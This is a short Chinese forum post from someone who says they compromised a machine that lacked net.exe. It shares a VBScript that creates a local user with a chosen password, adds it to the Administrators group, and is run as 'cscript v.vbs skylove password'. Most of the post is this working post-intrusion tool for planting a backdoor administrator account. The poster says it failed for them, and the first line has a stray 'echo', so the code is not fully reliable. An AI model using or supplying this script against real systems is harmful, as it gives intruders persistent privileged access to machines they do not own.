代码忘了抄谁的了 今天搞了机子 不知道是把net.exe 删了还是咋的 加不上用户
所以 就想起这个办法 用楼主的那个vbs 成功了 我用这不成功不知道为什么
复制内容到剪贴板
代码:
echo struser=wscript.arguments(0)
strpass=wscript.arguments(1)
set lp=createObject("WSCRIPT.NETWORK")
oz="WinNT://"&lp.ComputerName
Set ob=GetObject(oz)
Set oe=GetObject(oz&"/Administrators,group")
Set od=ob.create("user",struser)
od.SetPassword strpass
od.SetInfo
Set of=GetObject(oz&"/" & struser & ",user")
oe.Add(of.ADsPath)
For Each admin in oe.Members
if struser=admin.Name then
Wscript.echo struser & " 建立成功!"
wscript.quit
end if
Next
Wscript.echo struser & " 用户建立失败!" 将这些代码写入到v.vbs
然后执行cscript v.vbs skylove password